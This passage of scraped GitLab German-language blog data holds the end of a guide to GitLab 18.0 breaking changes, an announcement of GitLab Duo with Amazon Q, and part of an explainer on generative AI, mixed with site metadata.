GitLab 18.0 werden alle neu behobenen Bugs und Funktionen nur noch in der neuen Hauptversion der Analysatoren veröffentlicht.\n\nGemäß unseren Wartungsrichtlinien portieren wir keine Fehler und Funktionen in veraltete Versionen zurück. Sicherheitspatches werden bei Bedarf in die letzten drei Nebenversionen zurückportiert.\n\n- [Hinweis zur Deaktivierung (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/update/deprecations/#application-security-testing-analyzers-major-version-update)\n\n**5. API-Entdeckung verwendet standardmäßig Branch-Pipelines**\n\nGitLab.com | Self-Managed | Dedicated\n\nIn GitLab 18.0 aktualisieren wir das Standardverhalten der CI/CD-Vorlage für die API-Erkennung (**API-Discovery.gitlab-ci.yml**).\n\nVor GitLab 18.0 konfiguriert diese Vorlage Jobs so, dass sie standardmäßig in [**Merge Request-Pipelines** (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ci/pipelines/merge_request_pipelines/) ausgeführt werden, wenn ein MR geöffnet ist.\n\nAb GitLab 18.0 richten wir das Verhalten dieser Vorlage am Verhalten der [**stabilen Vorlagen-Editionen** (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/application_security/detect/roll_out_security_scanning/#template-editions) für andere AST-Scanner aus:\n\n* Standardmäßig führt die Vorlage Scan-Jobs in Branch-Pipelines aus.  \n* Du kannst die CI/CD-Variable **AST_ENABLE_MR_PIPELINES: true** festlegen, um MR-Pipelines zu verwenden, wenn ein MR geöffnet ist. Die Implementierung dieser neuen Variable wird im [**Ticket #410880**](https://gitlab.com/gitlab-org/gitlab/-/issues/410880) nachverfolgt.\n\n- [Hinweis zur Deaktivierung (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/update/deprecations/#api-discovery-will-use-branch-pipelines-by-default)\n\n**6. DAST DAST_DEVTOOLS_API_TIMEOUT hat einen niedrigeren Standardwert**\n\nGitLab.com | Self-Managed | Dedicated\n\nDie Umgebungsvariable **DAST_DEVTOOLS_API_TIMEOUT** bestimmt, wie lange ein DAST-Scan auf eine Antwort des Browsers wartet. Vor GitLab 18.0 hatte die Variable einen statischen Wert von 45 Sekunden. Ab GitLab 18.0 hat die Umgebungsvariable **DAST_DEVTOOLS_API_TIMEOUT** einen dynamischen Wert, der basierend auf anderen Timeout-Konfigurationen berechnet wird.\n\nIn den meisten Fällen war der Wert von 45 Sekunden höher als der Timeout-Wert vieler Scannerfunktionen. Der dynamisch berechnete Wert macht die Variable __DAST_DEVTOOLS_API_TIMEOUT__ nützlicher, indem er die Anzahl der Fälle erhöht, für die sie gilt.\n\n- [Hinweis zur Deaktivierung (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/update/deprecations/#dast-dast_devtools_api_timeout-will-have-a-lower-default-value) \n\n## Tools und Ressourcen, um deine Auswirkungen zu verwalten\n\nWir haben spezielle Tools entwickelt, um unseren Kund(inn)en zu helfen, zu verstehen, wie sich diese geplanten Änderungen auf ihre GitLab-Instanz(en) auswirken. Sobald du die Auswirkungen für deine Arbeit analysiert hast, solltest du die in der Dokumentation beschriebenen Maßnahmen überprüfen, um einen reibungslosen Übergang zu GitLab 18.0 zu gewährleisten.\n\n* [Veraltete Funktionen der erweiterten Suche](https://gitlab.com/gitlab-com/cs-tools/gitlab-cs-tools/deprecation-migration-tools/advanced-search-deprecations): Dieses Tool nutzt die erweiterte Such-API von GitLab, um Zeichenfolgen zu finden, die in allen GitLab-Gruppen und -Projekten veraltet sind. Es zeigt auch, welche Dateien manuell überprüft werden sollten. *__Hinweis:__ Kann ein paar falsch positive Ergebnisse liefern.*   \n* [Dependency Scanning Build Support Detection Helper](https://gitlab.com/security-products/tooling/build-support-detection-helper): Dieses Tool identifiziert Projekte, die von drei Einstellungen der Abhängigkeitssuche betroffen sind ([1](https://docs.gitlab.com/update/deprecations/#dependency-scanning-for-javascript-vendored-libraries), [2](https://docs.gitlab.com/update/deprecations/#dependency-scanning-upgrades-to-the-gitlab-sbom-vulnerability-scanner), [3](https://docs.gitlab.com/update/deprecations/#resolve-a-vulnerability-for-dependency-scanning-on-yarn-projects); alle auf Version 19.0 verschoben). Es verwendet die API, um nach relevanten Dateien und CI-Job-Namen zu suchen.\n* [GitLab Detective](https://gitlab.com/gitlab-com/support/toolbox/gitlab-detective/-/blob/main/README.md) (nur Self-Managed): Dieses experimentelle Tool überprüft automatisch eine GitLab-Installation auf bekannte Probleme. Es führt komplexe Überprüfungen durch, indem es Konfigurationsdateien oder Datenbankwerte analysiert. **Hinweis:** Muss direkt auf deinen GitLab-Knoten ausgeführt werden.\n\nWir haben außerdem eine Reihe von Mikrokursen (15 Minuten oder kürzer) auf der GitLab University gestartet, die dir bei der Planung und Durchführung von Maßnahmen zur Minderung einiger dieser Änderungen helfen. [Starte deine Lernreise hier](https://university.gitlab.com/catalog?query=18.0). \n\nWenn du einen kostenpflichtigen Tarif hast und Fragen zu diesen Änderungen hast oder Unterstützung benötigst, [öffne ein Support-Ticket](https://about.gitlab.com/support/portal/) im GitLab-Support-Portal. \n\nWenn du [Benutzer(in) einer kostenlosen Gitlab.com-Lizenz (nur in englischer Sprache verfügbar)](https://about.gitlab.com/support/statement-of-support/#free-users) bist, kannst du über meist englischsprachige Community-Quellen wie die [GitLab-Dokumentation](https://docs.gitlab.com/), das [GitLab-Community-Forum](https://forum.gitlab.com/) und [Stack Overflow](http://stackoverflow.com/questions/tagged/gitlab) auf zusätzlichen Support zugreifen.\n",[1689,1690,1691],"Martin Brümmer","Fabian Zimmer","Sam Wiskow","2025-05-01","2025-04-18","Die Breaking Changes in GitLab 18.0",[680,746],"Bereite dich jetzt auf die Änderungen im kommenden Major Release vor. Analysiere die Auswirkungen für deine Arbeit und prüfe dann die in der Dokumentation beschriebenen Maßnahmen, um einen reibungslosen Übergang zu GitLab 18.0 zu gewährleisten.",{"slug":1698,"featured":6,"template":682},"a-guide-to-the-breaking-changes-in-gitlab-18-0","content:de-de:blog:a-guide-to-the-breaking-changes-in-gitlab-18-0.yml","A Guide To The Breaking Changes In Gitlab 18 0","de-de/blog/a-guide-to-the-breaking-changes-in-gitlab-18-0.yml","de-de/blog/a-guide-to-the-breaking-changes-in-gitlab-18-0",{"_path":1704,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1705,"content":1710,"config":1718,"_id":1720,"_type":16,"title":1721,"_source":17,"_file":1722,"_stem":1723,"_extension":20},"/de-de/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws",{"ogTitle":1706,"schema":1707,"ogImage":1268,"ogDescription":1708,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":1709,"title":1706,"canonicalUrls":1709,"description":1708},"GitLab Duo mit Amazon Q: Entdecke die neue KI-Lösung","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo mit Amazon Q: Die für AWS optimierte agentische KI ist jetzt allgemein verfügbar\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emilio Salvador\"}],\n        \"datePublished\": \"2025-04-17\",\n      }\n                  ","Wir zeigen dir, welche Funktionen GitLab Duo mit Amazon Q bietet. ✓ Hintergrund ✓ Funktion ✓ Anleitung ✓ Video ➤ GitLab Duo mit Amazon Q entdecken!","https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws",{"heroImage":1268,"body":1711,"authors":1712,"updatedDate":1714,"date":1715,"title":1706,"tags":1716,"description":1717,"category":677},"Wir freuen uns, heute die allgemeine Verfügbarkeit von **[GitLab Duo mit Amazon Q](https://about.gitlab.com/de-de/partners/technology-partners/aws/)** bekannt zu geben. Damit wird AWS-Kund(inn)en eine [agentenbasierte KI](https://about.gitlab.com/de-de/topics/agentic-ai/) während des gesamten Software-Entwicklungsprozesses zur Verfügung gestellt.\n\nGitLab Duo mit Amazon Q basiert auf GitLab Ultimate und enthält viele bekannte Funktionen wie Codevervollständigung, Codeerläuterung, Codegenerierung, Chat sowie Erklärung und Behebung von Sicherheitslücken – allesamt jetzt mit Amazon Q. Es ist mit einem selbstverwalteten Bereitstellungsmodell für Kund(inn)en von Amazon Web Services (AWS) verfügbar.\n\nDa die Agenten von Amazon Q direkt in die DevSecOps-Plattform von GitLab eingebettet sind, können Entwickler(innen) in ihrer gewohnten Umgebung arbeiten und gleichzeitig von leistungsstarken KI-Funktionen profitieren. Das Ergebnis ist eine reibungslose Erfahrung, die Entwicklungszyklen beschleunigt, manuellen Aufwand reduziert und die Codequalität verbessert.\n\n> Durch die Teilnahme am Early-Access-Programm für GitLab Duo mit Amazon Q konnten wir einen Einblick in das transformative Potenzial für unsere Entwicklungs-Workflows gewinnen. **Schon in der Anfangsphase haben wir gesehen, wie die tiefere Integration mit autonomen Agenten unseren Prozess vom Code-Commit bis hin zur Produktion optimieren kann.** Wir sind gespannt, wie unser Team sich mit dieser Technologie auf Innovationen konzentrieren und unsere digitale Transformation beschleunigen kann.\n\n**Osmar Alonso, DevOps Engineer bei Volkswagen Digital Solutions**\n\n## Agentische KI für komplexe Kundenumgebungen\n\nDurch die Kombination von agentischer KI mit einer sicheren und zuverlässigen Cloud-Infrastruktur bieten GitLab und AWS integrierte Sicherheit, Skalierbarkeit und Zuverlässigkeit für komplexe Kundenumgebungen, sodass diese von folgenden Vorteilen profitieren können:\n\n__Einheitliche Entwicklererfahrung für optimierte Entwicklung__\n\nEntwickler(innen) können über die Schnittstelle von GitLab Duo Chat von ihrer bevorzugten IDE oder der GitLab-Weboberfläche aus mit Amazon Q interagieren. Dadurch entfällt der Kontextwechsel zu anderen Tools und Entwickler(innen) können sich besser auf das Projekt konzentrieren, an dem sie gerade arbeiten.\n\n__Eine Lösung für den gesamten Software-Entwicklungsprozess__\n\nCodevorschläge und -optimierungen nutzen AWS-spezifische Muster und Vorgehensweisen, während Testtools die Interaktionen und Abhängigkeiten der AWS-Services verstehen. Ein gemeinsamer Datenspeicher für alle Phasen liefert KI-Agenten wichtige Kontextinformationen und ermöglicht so vollständige Transparenz und Nachverfolgbarkeit relevanter Aktionen.\n\n__Sichere Entwicklung mit Leitlinien auf Unternehmensebene__\n\nEnd-to-End-Sicherheit und Compliance sind direkt in die Entwicklungsplattform integriert, mit Leitlinien, die Risiken reduzieren, ohne die Geschwindigkeit zu beeinträchtigen. Dieser sichere Ansatz für die Softwareentwicklung sorgt für Transparenz und Überprüfbarkeit durch KI-Agenten und lässt sich nahtlos in AWS-Sicherheitsdienste und Compliance-Frameworks integrieren.\n\n## So kannst du GitLab Duo mit Amazon Q nutzen\n\nHier sind fünf Anfangsbeispiele, die wir uns vorgenommen haben, um Teams dabei zu helfen, mit agentenbasierter KI schneller sichere Software zu entwickeln:\n\n1. **Schnellere Entwicklung von Funktionen** - Erstellt Ticketbeschreibungen, macht Implementierungspläne auf Basis deiner bestehenden Codebase und erstellt komplette Merge Requests, die sofort überprüft werden können. Das beschleunigt die Bereitstellung von Funktionen und sorgt gleichzeitig für die Einhaltung der internen Entwicklungsstandards.  \n2. **Modernisieren von älteren Anwendungen** - Analysiert deine alte Java-Codebase, erstellt einen umfassenden Upgrade-Plan und generiert einen Merge Request mit allen notwendigen Codeänderungen. Dadurch werden Java-Upgrades beschleunigt und ein klarer Audit-Trail für alle Codetransformationen bereitgestellt. Die Unterstützung für .NET und andere Sprachen ist für zukünftige Versionen geplant.\n3. **Verbessern der Qualitätssicherung** - Analysiert Code und erstellt automatisch umfassende Unit-Tests, die deine Anwendungslogik und die Interaktionen mit AWS-Services berücksichtigen. Dies erhöht die Testabdeckung, reduziert den Aufwand für das manuelle Schreiben von Tests und trägt dazu bei, eine konsistente Testqualität über alle Anwendungen hinweg sicherzustellen.  \n4. **Optimieren der Code Review** - Bietet Inline-Feedback zu Codeänderungen, schlägt Verbesserungen auf Basis von Entwicklungsstandards vor und hebt Sicherheits- und Leistungsaspekte hervor. Dies ermöglicht kürzere Code-Review-Zyklen und die Bereitstellung hochwertigerer Codezusammenführungen für die Bereitstellung.  \n5. **Beheben von Sicherheitslücken** - Erläutert erkannte Sicherheitslücken anhand klarer, detaillierter Beschreibungen und ermöglicht die Behebung mit einem Klick auf Basis empfohlener Codeänderungen, wodurch die Zeit zwischen Erkennung und Behebung erheblich verkürzt wird.\n\nSieh dir GitLab Duo mit Amazon Q in Aktion an:\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1075753390?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Technical Demo: GitLab Duo with Amazon Q\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n#### Profitiere noch heute von den Vorteilen von GitLab Duo mit Amazon Q\nDie einheitliche, KI-gestützte DevSecOps-Plattform von GitLab mit den fortschrittlichen KI-Funktionen von Amazon Q bietet AWS-Kund(inn)en eine Lösung, die die Art und Weise, wie Teams Software entwickeln und bereitstellen, verändert. \n\nBesuche uns auf einem bevorstehenden [AWS Summit in einer Stadt in deiner Nähe](https://about.gitlab.com/de-de/events/aws-summits/) oder [wende dich an deine*n GitLab-Vertreter*in](https://about.gitlab.com/de-de/partners/technology-partners/aws/), um mehr über GitLab Duo mit Amazon Q zu erfahren.",[1713],"Emilio Salvador","2025-05-26","2025-04-17",[679,746,1272,680,745,723],"Die umfassende KI-basierte DevSecOps-Plattform mit den umfangreichsten Cloud-Computing-Funktionen beschleunigt Entwicklungszyklen, erhöht die Automatisierung und verbessert die Codequalität.",{"slug":1719,"featured":92,"template":682},"gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws","content:de-de:blog:gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws.yml","Gitlab Duo With Amazon Q Agentic Ai Optimized For Aws","de-de/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws.yml","de-de/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws",{"_path":1725,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1726,"content":1732,"config":1737,"_id":1739,"_type":16,"title":1740,"_source":17,"_file":1741,"_stem":1742,"_extension":20},"/de-de/blog/what-is-generative-ai",{"title":1727,"description":1728,"ogTitle":1727,"ogDescription":1728,"noIndex":6,"ogImage":1729,"ogUrl":1730,"ogSiteName":1396,"ogType":1397,"canonicalUrls":1730,"schema":1731},"Was ist Generative KI?","Erfahre, was generative KI ist, wie sie sich von klassischer KI unterscheidet, welche Modelle es gibt und wie GitLab mit generativer KI arbeitet.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663009/Blog/Hero%20Images/ESA_case_study_image.jpg","https://about.gitlab.com/blog/what-is-generative-ai","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Was ist Generative KI?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Germany Team\"}],\n        \"datePublished\": \"2025-04-16\",\n      }",{"title":1727,"description":1728,"authors":1733,"heroImage":1729,"date":1734,"body":1735,"category":677,"tags":1736},[701],"2025-04-16","# Was ist Generative KI?\nGenerative KI ist eine revolutionäre Technologie, die über die reine Analyse bestehender Daten hinausgeht und eigenständig neue Inhalte wie Texte, Bilder, Musik oder Code erstellt. Sie unterstützt kreative Prozesse und treibt Innovationen in unterschiedlichsten Branchen voran.\n\nAber wie funktioniert diese fortschrittliche Technologie, was macht sie so einzigartig und welche Modelle stecken dahinter? In diesem Artikel erhältst du umfassende Antworten auf diese Fragen sowie praxisnahe Beispiele und spannende Anwendungsfälle.\n\n## Generative KI: Definition\nGenerative künstliche Intelligenz ist ein spezieller Bereich der künstlichen Intelligenz, der nicht nur bestehende Daten analysiert oder kategorisiert, sondern eigenständig neue Inhalte erschafft.\n\nMithilfe komplexer Algorithmen und neuronaler Netzwerke entstehen Texte, Bilder, Musik oder andere Inhalte, die so realistisch wirken sollen, dass sie zukünftig kaum von menschlich erstellten Werken zu unterscheiden sind. Die Technologie lernt aus vorhandenen Mustern und wendet dieses Wissen an, um innovative und kreative Ergebnisse zu erzielen.\n\n## Wie unterscheidet sich generative KI von KI?\nDer Begriff „künstliche Intelligenz“ umfasst viele Technologien, doch generative KI ist ein spezifischer Teilbereich davon. Klassische KI-Modelle erkennen Muster, treffen Entscheidungen oder automatisieren Prozesse, während generative KI auf die Erzeugung neuer Inhalte spezialisiert ist.\n\n### KI und generative KI: Unterschiede im Überblick:\n**Klassische KI** wird vor allem für Analyse, Vorhersagen und Automatisierung eingesetzt. Typische Technologien sind Entscheidungsbäume, Regressionsmodelle oder Klassifikatoren. Anwendungen finden sich zum Beispiel in Chatbots, Sprachassistenten oder Empfehlungssystemen.\n\n**Generative KI** hingegen geht einen Schritt weiter: Sie kann eigenständig neue Inhalte erzeugen. Möglich machen das fortschrittliche Modelle wie GANs (Generative Adversarial Networks), Transformer oder Diffusionsmodelle. So entstehen KI-generierte Texte, Bilder, Musik oder Videos – etwa mit Tools wie ChatGPT oder DALL-E.\n\n**Die beiden KI-Formen verfolgen also unterschiedliche Ziele: Während klassische KI auf Analyse basiert, steht bei generativer KI die kreative Inhaltserstellung im Fokus.**\n\n### Warum ist der Unterschied wichtig?\nGenerative KI eröffnet neue Anwendungsfelder: Statt nur zu reagieren oder Aufgaben zu automatisieren, können nun innovative und kreative Prozesse unterstützt werden. Das hat auch Auswirkungen auf kreative Berufe, Produktentwicklung oder auch die Art, wie wir miteinander kommunizieren.\n\n## Wie funktioniert generative KI?\nDie Funktionsweise generativer KI basiert auf komplexen mathematischen Modellen, die von neuronalen Netzwerken trainiert werden. Diese Netzwerke analysieren riesige Datenmengen und lernen, Muster und Beziehungen innerhalb dieser Daten zu erkennen.\n\n### Grundlagen der Funktionsweise generativer KI\nGenerative KI ist ein faszinierendes Feld, das sich auf die Erstellung neuer Inhalte aus bestehenden Daten konzentriert. \n\nHier sind die wesentlichen Grundlagen, wie diese Technologien arbeiten und welche Modelle dabei eine Rolle spielen.\n\n1. **Training mit Daten:** Das Modell wird mit großen Mengen an Daten, wie Texte, Bilder oder Videos, gefüttert. Ziel ist es, Muster und Zusammenhänge in diesen Daten zu erkennen.\n\n2. **Modelltypen:** Die häufigsten Modelle, die in der generativen KI verwendet werden, sind:\n\n- **GANs (Generative Adversarial Networks):** Zwei Netzwerke arbeiten gegeneinander – eines generiert Inhalte, das andere bewertet deren Qualität.\n\n- **Transformermodelle:** Diese Modelle, wie GPT, setzen auf Kontextverständnis, um kohärente und logische Inhalte zu erstellen.\n\n- **Diffusionsmodelle:** Sie erstellen Inhalte, indem sie Rauschen schrittweise reduzieren und werden häufig in der Bildgenerierung eingesetzt.\n\n3. **Generierung neuer Inhalte:** Nach dem Training kann das Modell auf neue Eingaben reagieren und basierend auf gelernten Mustern neue Inhalte erstellen.\n\nMit diesen Modellen kann generative KI erstaunliche Inhalte erzeugen, die in vielen Bereichen Anwendung finden – von der Texterstellung bis hin zur Kunst- und Bildproduktion.\n\n## Wie Deep Learning die generative KI vorantreibt\nDeep Learning ist die treibende Kraft hinter generativer KI. Als Teilgebiet des maschinellen Lernens setzt es auf neuronale Netzwerke mit mehreren Schichten, um komplexe Muster in Daten zu erkennen und darauf aufbauend neue Inhalte zu generieren. Diese Methode ist besonders leistungsfähig, da sie in der Lage ist, tiefere Zusammenhänge in Daten zu verstehen. Dadurch werden qualitativ hochwertige Ergebnisse erzielt.\n\n### Was ist Deep Learning?\nDeep Learning ist eine Technologie, die künstliche neuronale Netzwerke verwendet, um Daten Schritt für Schritt zu analysieren. Jede Schicht des Netzwerks verarbeitet spezifische Merkmale der Daten und übergibt die Ergebnisse an die nächste Ebene.\nDieser schichtweise Ansatz ermöglicht es, sowohl einfache als auch komplexe Muster zu erkennen, was für die Generierung neuer Inhalte essenziell ist.\n\n### Die Rolle von Deep Learning\nDeep Learning ist für generative KI unverzichtbar, weil es:\nSkalierbar ist und große Datenmengen effizient verarbeiten kann.\nFlexibel für verschiedene Datentypen wie Text, Bilder und Audio einsetzbar ist.\nLeistungsstark durch Fortschritte in Algorithmen und Rechenleistung immer präzisere Ergebnisse liefert.\n\n### Warum ist Deep Learning entscheidend?\nOffensichtlich beeinflusst Deep Learning generative KI grundlegend. Ohne Deep Learning wäre sie in ihrer heutigen Form nicht möglich. Es ermöglicht nicht nur die Erstellung realistischer Inhalte, sondern treibt auch die Weiterentwicklung von Modellen voran. \nDadurch kann generative KI in immer mehr Bereichen eingesetzt werden und liefert innovative Lösungen für kreative und technische Herausforderungen.\n\n## Generative KI – Modelle\nGenerative KI stützt sich auf verschiedene Modelltypen, die jeweils für unterschiedliche Anwendungen optimiert sind. Jedes Modell hat eigene Stärken und Schwächen und wird je nach Anwendungsfall eingesetzt.\n\n### GANs (Generative Adversarial Networks)\nGANs bestehen aus zwei miteinander konkurrierenden neuronalen Netzwerken:\n\n**Der Generator** erstellt neue Inhalte.\n\n**Der Diskriminator** bewertet, ob die Inhalte echt oder künstlich sind.\nDieser Wettbewerb zwischen den Netzwerken verbessert die Qualität der generierten Inhalte kontinuierlich, was GANs besonders für die Erstellung von Bildern, Videos und anderen visuellen Medien prädestiniert.\n\n### Transformermodelle\nTransformermodelle wie GPT (Generative Pre-trained Transformer) basieren auf der Fähigkeit, den Kontext von Wörtern und Sätzen zu verstehen. Sie sind besonders effektiv bei der Verarbeitung und Erstellung von Texten. Transformermodelle analysieren Daten in Sequenzen, um sinnvolle und kohärente Inhalte zu generieren.\n\n### Variational Autoencoders (VAEs)\nVAEs komprimieren Daten in ein kompaktes Format, um sie später zu rekonstruieren. Sie erzeugen neue Inhalte, indem sie Variationen innerhalb eines Datensatzes erstellen. VAEs werden häufig in der Bild- und Tondatenverarbeitung eingesetzt und eignen sich gut für Aufgaben, bei denen Variationen auf Basis bestehender Muster benötigt werden.\n\n### Diffusionsmodelle\nDiffusionsmodelle entfernen schrittweise Rauschen aus einer Pixelmatrix, um realistische Bilder zu erstellen. Diese Modelle sind besonders beliebt in der Bildgenerierung, da sie detaillierte und hochqualitative Ergebnisse liefern können.\n\n## Generative KI-Anwendungen in unterschiedlichen Bereichen\nGenerative KI hat das Potenzial, Branchen zu transformieren, Arbeitsprozesse zu vereinfachen und zu automatisieren und große Datenmengen schneller zu verarbeiten. \n\n### Generative KI in Marketing und Kommunikation\nIn Marketing und Kommunikation wird generative KI wie ChatGPT vor allem für die automatisierte Erstellung von Inhalten wie Blogbeiträgen, Social-Media-Posts oder Produktbeschreibungen genutzt. Sie kann auch personalisierte Anzeigen generieren, die gezielt auf die Interessen der Zielgruppe zugeschnitten sind.\n\nAllerdings gibt es Herausforderungen: KI-generierte Inhalte wirken oft unpersönlich, können kulturelle Feinheiten übersehen und dadurch Missverständnisse auslösen. Zudem kann die Authentizität fehlen, was die Markenbindung negativ beeinflusst.\n\n### Generative KI in der Bildung\nIn der Bildung wird generative KI eingesetzt, um personalisierte Lernmaterialien zu erstellen, die sich an den individuellen Fortschritt der Lernenden anpassen. Auch virtuelle Simulationen werden immer häufiger genutzt, um praxisnahes Lernen zu fördern, etwa in der Medizin oder Technik.\n\nVorteile sind die Anpassungsfähigkeit und die interaktive Gestaltung des Lernens. Allerdings müssen generierte Inhalte überprüft werden, um Fehler zu vermeiden, und die Implementierung solcher Technologien kann kostenintensiv sein.\n\n### Generative KI in der Forschung und Entwicklung\nGenerative KI unterstützt die Forschung und Entwicklung, indem sie neue Prototypen und Designs generiert und komplexe Daten analysiert. Dadurch werden Innovationsprozesse beschleunigt und neue Zusammenhänge schneller erkannt.\n\nWährend die Effizienz dadurch deutlich steigt, bleibt die Abhängigkeit von der Datenqualität ein Schwachpunkt. Fehlerhafte Daten können die Ergebnisse negativ beeinflussen, und der hohe Rechenaufwand macht die Nutzung oft teuer.\n\n## Beispiele für Generative-KI-Anwendungen in der Arbeitswelt\nGenerative KI hat ihren Weg in zahlreiche Branchen gefunden und bietet eine Vielzahl von Anwendungsmöglichkeiten.\n\n## Kreative Anwendungen\n**Texterstellung:** Tools wie ChatGPT oder Jasper AI erstellen Artikel, Blogbeiträge oder Produktbeschreibungen.\n\n**Bildgenerierung:** Mit Tools wie DALL-E oder MidJourney können Benutzer(innen) Bilder auf Basis einfacher Texteingaben erzeugen.\n\n**Musikproduktion:** Plattformen wie Amper Music oder AIVA komponieren Musikstücke für Filme oder Podcasts.\n\n### Industrie und Technologie\n**Code-Generierung:** Entwickler(innen) nutzen Tools wie [GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/), um automatisiert Codevorschläge zu erhalten.\n\n**Prototypen-Design:** Generative KI hilft Entwickler(inn)en und Designer(innen) bei der Entwicklung neuer Produkte.\n\n**Automatisierte Tests:** Softwaretests können durch KI schneller und effizienter gestaltet werden.\n\n### Gesundheit und Wissenschaft\n**Medikamentenentwicklung:** KI-Modelle wie [AlphaFold](https://alphafold.ebi.ac.uk/) haben die Vorhersage von Proteinstrukturen revolutioniert.\n\n**Diagnostik:** Generative KI analysiert medizinische Bilder und erkennt Krankheiten wie Tumore oder Anomalien.\n\n### Unterhaltung und Gaming\n**Spieldesign:** Generative KI erschafft neue Level, Charaktere oder Szenarien für Videospiele.\n\n**Filmproduktion:** Erstellung von Drehbüchern oder visuellen Effekten, die durch KI unterstützt werden.\n\n## Best Practices für den Einsatz von Generativer KI\nDer erfolgreiche Einsatz von generativer KI erfordert durchdachte Ansätze, um Qualität, Sicherheit und Effektivität zu gewährleisten.\n\n**Definierte Ziele setzen:** Bevor ein KI-Modell eingesetzt wird, sollte klar definiert sein, welche spezifischen Aufgaben oder Probleme es lösen soll. Eine präzise Zielsetzung verhindert Fehlentwicklungen und verbessert die Ergebnisse.\n\n**Kontext berücksichtigen:** Die generierten Inhalte müssen immer mit ihrem Einsatzzweck übereinstimmen. Dies umfasst die Berücksichtigung kultureller, sozialer oder geschäftlicher Anforderungen, um relevante und angemessene Ergebnisse zu erzielen.\n\n**Vielfältige Evaluation:** Die Leistung von KI-Modellen sollte mit verschiedenen Methoden überprüft werden. Neben technischen Metriken ist auch qualitatives Feedback von Expert(inn)en und Nutzer(inne)n entscheidend, um die Anwendbarkeit und Qualität sicherzustellen.\n\n**Kontinuierliche Optimierung:** KI-Modelle sollten regelmäßig überprüft und weiterentwickelt werden, um auf veränderte Daten, Anforderungen oder Technologien reagieren zu können.\n\n## Herausforderungen und ethische Aspekte von generativer KI\nNeben den zahlreichen Vorteilen bringt der Einsatz generativer KI auch einige Herausforderungen mit sich:\n\n**Urheberrechtsfragen:** Es bleibt unklar, wem die Rechte an KI-generierten Inhalten gehören – den Entwicklern, den Nutzern oder sogar den Datengrundlagen?\n\n**Verzerrungen in den Ergebnissen:** Wenn die zugrunde liegenden Trainingsdaten voreingenommen sind, können die generierten Inhalte diese Vorurteile widerspiegeln und verstärken.\n\n**Potenzial für Missbrauch:** Generative KI kann für negative Zwecke eingesetzt werden, etwa zur Verbreitung von Fehlinformationen oder zur Durchführung von Cyberangriffen.\n\nUm die Herausforderungen im Umgang mit generativer KI zu bewältigen, ist es entscheidend, mehr Transparenz bei der Entwicklung und Nutzung von KI-Modellen zu schaffen. Darüber hinaus sollten klare ethische Standards sowie gesetzliche Regelungen eingeführt und konsequent eingehalten werden, um potenzielle Risiken zu minimieren und einen verantwortungsvollen Einsatz sicherzustellen.\n\n## Wie setzt GitLab generative KI ein\n[GitLab](https://about.gitlab.com/de-de/) integriert generative KI umfassend in seine DevSecOps-Plattform, um den gesamten Softwareentwicklungsprozess zu optimieren. Durch die Partnerschaft mit Unternehmen wie Anthropic nutzt GitLab fortschrittliche KI-Modelle, um Entwickler(innen) bei verschiedenen Aufgaben zu unterstützen.\n\n**Code-Vorschläge:** Die Funktion [Code Suggestions](https://about.gitlab.com/blog/gitlab-uses-anthropic-for-smart-safe-ai-assisted-code-generation/) bietet während des Tippens kontextbezogene Code-Vorschläge, was die Effizienz beim [Code Refactoring](https://about.gitlab.com/de-de/blog/refactor-code-into-modern-languages-with-ai-powered-gitlab-duo/) erhöht. \n\n**Automatische Reviewer-Zuweisung:** Mit [Suggested Reviewers](https://about.gitlab.com/blog/gitlab-ai-assisted-features/) identifiziert die KI geeignete Personen für die Überprüfung von Merge Requests, was den Review-Prozess beschleunigt. \n\n**Zusammenfassungen von Merge Requests:** Die KI generiert prägnante Zusammenfassungen von Änderungen in Merge Requests, um die Kommunikation zwischen Teammitgliedern zu erleichtern. \n\n**Erklärung von Schwachstellen:** Die Funktion „Explain This Vulnerability” hilft Entwickler(innen), Sicherheitslücken besser zu verstehen und effizienter zu beheben. \n\n**Testgenerierung in Merge Requests:** Die KI kann automatisch Tests für neuen Code generieren, um die Qualitätssicherung zu unterstützen.\n\n### GitLab Duo – weiter hilfreiche KI-Funktionen\nDurch diese erweiterten KI-Funktionen fördert GitLab eine effizientere, sicherere und innovativere Softwareentwicklung.\n\n**[GitLab Duo Chat:](https://docs.gitlab.com/development/ai_features/duo_chat/)** Ein KI-gestützter Chatbot, der Fragen beantwortet und bei der Navigation durch die Plattform hilft, um den Lernprozess zu unterstützen.\n\n**Refactoring von Code in moderne Sprachen:** GitLab Duo unterstützt Entwickler(innen) dabei, bestehenden Code in moderne Programmiersprachen zu überführen. Dies erleichtert die Modernisierung von Anwendungen und das Erlernen neuer Sprachfunktionen. \n\n**Sicheres Testen von KI-generiertem Code:** Durch die Kombination von GitLab Duo mit GitLab Pages können Entwickler(innen) KI-generierten Code gründlich testen und Sicherheitslücken identifizieren. Dies gewährleistet die Zuverlässigkeit und Sicherheit des Codes. \n\n**Automatisierte Entwicklung mit GitLab Duo Workflow:** [GitLab Duo 